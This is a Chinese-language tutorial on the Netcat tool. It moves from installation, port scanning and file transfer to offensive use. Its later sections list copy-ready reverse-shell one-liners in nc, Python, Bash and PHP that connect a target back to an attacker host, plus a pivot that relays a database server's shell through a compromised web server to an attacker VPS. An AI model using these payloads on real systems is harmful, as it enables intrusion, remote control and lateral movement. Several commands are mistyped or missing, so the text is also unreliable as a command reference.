Netcat工具的玩法
前言
之所以叫Netcat,是因為它是在網絡上的cat,cat的功能是讀取一個文件的內容并輸出到屏幕前,netcat也是如此,從網絡的一端讀取數據,輸出到網絡的另一端(可以使用TCP和UDP協議)
文章目錄
- 一、安裝
- 二、命令查詢
- 三、Banner 抓取
- 四、連接遠程主機
- 五、端口掃描
- 六、端口監聽
- 七、文件傳輸
- 八、簡易聊天
- 九、獲取 Shell
- 十、在目標主機中沒有nc時獲取反向Shell
- 十一、內網代理
一、安裝
在Kali Linux中,可以使用"nc-help"或者"man nc"命令查看是否已經安裝了nc,如果沒有安裝,則執行如下命令進行安裝
sudo yum install nc.x86_64也可以先使用wget命令下載安裝包,再進行安裝,具體如下
下載地址見 http://sourceforge.net/projects/netcat/files/netcat/0.7.1/netcat-0.7.1.tar.gz/download
編譯完成,就會生成 nc 可以執行的文件了,該文件位于 src 目錄下,執行"cd"命令,運行/neteat 文件,就可以找到nc了;
在Windows 中需要使用 Windows 版本的 nc,在禁用-e遠程執行選項的情況下編譯的版本,列舉如下
nc:見https://joncraton.org/files/nc111nt.zip
二、命令查詢
nc的功能很多,可以輸人"nc -h"命令進行查詢
-d:后臺模式 -e:程序重定向 -g<網關>:設置路由器躍程通信網關,最多可設置8個 -G<指向器數目>:設置源路由指向器的數量,值為4的倍數 -h:在線幫助 -i<延遲秒數>:設置時間間隔,以便傳送信息及掃描通信端口 -l:使用監聽模式,管理和控制傳人的數據 -n:直接使用IP地址(不通過域名服務器) -o<輸出文件>:指定文件名稱,把往來傳輸的數據轉換為十六進制字節碼后保存在該文件中 -p<通信端口>:設置本地主機使用的通信端口 -r:隨機指定本地與遠程主機的通信端口 -s<源地址>;設置本地主機送出數據包的IP地址 -u:使用 UDP 傳輸協議 -v:詳細輸出 -w<超時秒數>:設置等待連線的時間 -z:將輸人/輸出功能關閉,只在掃描通信端口時使用三、Banner 抓取
服務的Banner 信息能夠為系統管理員提供當前網絡中的系統信息和所運行服務的情況,服務的Banner 信息不僅包含正在運行的服務類型,還包含服務的版本信息,Banner抓取是一種在開放端口上檢索關于特定服務信息的技術,在滲透測試中用于漏洞的評估。
執行如下命令
從抓取的Banner信息中可以得知,目前目標主機的21端口上運行了vsFTPd服務,版本號為2.3.4
rooteKali-Linux:- nc -nv 192.168.123.103 21 Ncat:Version 7.70(https://nmap.org/ncat) Ncat: Connected to 192.168.123.103:21. 220(vsFTPd2.3.4)四、連接遠程主機
執行如下命令,連接遠程主機
nc -nvv 192.168.53.128 445五、端口掃描
執行如下命令,掃描指定主機的端口
nc -v 192.168.53.128 445
執行如下命令,掃描指定主機的某個端口段(掃描速度很慢)
六、端口監聽
執行如下命令,監聽本地端口,當訪問該端口時會輸出該信息到命令行
nc -l -p 9999七、文件傳輸
在A主機中輸入如下命令,開始監聽,等待連接,一旦連接建立,數據便會流入
nc -lp 333 > 1.txt在B主機中輸入如下命令,與A主機的333端口建立連接,并傳輸一個名為test.txt的文本文件
nc -vn 192.168.1.4 333 < test.txt -q l傳輸完成,在在A主機中打開1.txt文件,就可以看到test.txt的數據已經傳送過來了
八、簡易聊天
在A主機中輸入如下命令,開始監聽
nc -l - p 888在主機B中輸入如下命令,就可以開始聊天了
nc -vn <A的IP地址> 888九、獲取 Shell
Shell 分為兩種,一種是正向 Shell,另一種是反向 Shell,如果客戶端連接服務器,客戶端想要獲取服務器的Shell,就稱為正向Shell;如果客戶端連接服務器,服務器想要獲取客戶端的Shell,就稱為反向 Shell。
反向Shell 通常用在開啟了防護措施的目標機器上,例如防火墻過濾、端口轉發等
注:如下的A主機為客戶端,B主機為服務端
(1)正向 Shell
在B主機輸入如下命令,監聽B主機的 4444 端口
在A主機上輸人如下命令,A主機上連接B主機的 4444 端口
nc <B主機IP> 4444(2)反向 Shell
A主機執行如下命令,在A主機上監聽本地 9999 端口
在B主機中執行如下命令,連接A主機的9999端口
nc <A主機IP> 9999 -e /bin/sh //Linux ne <A主機IP> 9999 -e c:\windows\system32\cmd.exe //Windows然后就可以在A主機上看到連接了
十、在目標主機中沒有nc時獲取反向Shell
在一般情況下,目標主機中是沒有nc的,此時,可以使用其他工具和編程語言來代替nc,實現反向連接,下面介紹幾種常見的反向 Shell
(1)Python 反向 Shell
A主機執行如下命令,監聽本地 2222 端口
在目標主機(B)上執行如下命令
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.4",2222));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'在目標主機(B)上執行反彈命令
(2)Bash 反向 Shell
在A主機執行如下命令,監聽本地 4444 端口
在目標主機(B)上執行如下命令
bash -i >& /dev/tcp/<A主機IP>/4444 0>&1執行反彈命令
(3)PHP 反向Shell
在A主機執行如下命令,監聽本地 2222 端口
PHP常用在Web 服務器上,它是nc、Perl和Bash的一個很好的替代品,執行如下命令,實現PHP環境下的反彈Shell
php -r '$sock=fsockopen("<A主機IP>",2222);exec("/bin/sh -i <&3 >&3 2>&3");'建立連接
(4)Perl 反向 Shell
在A主機執行如下命令,監聽本地 2222 端口
如果此時目標主機使用的是Perl 語言,可以使用Perl 來建立反向 Shell
在目標主機(B)上運行如下命令,會發現主機A已經與目標主機(B)建立了連接
十一、內網代理
如圖所示,測試環境為:攻擊者 VPS(Kali Linux):一個小型內網;三臺服務器。假設已經獲取了Web 服務器的權限,通過 Kali Linux機器不能訪問數據庫服務器(Linux),但通過 Web 服務器可以訪問數據庫服務器(Linux),測試目標為:獲取數據庫服務器(Linux)的Shell
首先,在 VPS 中輸人執行如下命令,監聽 3333 端口
nc -lvp 3333接著,在數據庫服務器(Linux)上執行如下命令
nc -lvp 3333 -e /bin/sh最后,在Web服務器(邊界服務器)上執行如下命令
nc -v 192.168.1.4 3333 -c "nc -v 1.1.1.200 3333"在輸人的時候一定要注意,引號都是英文格式的;
回到 VPS 主機中,與數據庫服務器建立了連接!!
總結
以上是生活随笔為你收集整理的Netcat工具的玩法的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 2015年 行人检测总结4
- 下一篇: 剪辑技巧,全部视频添加封面图片后保存在哪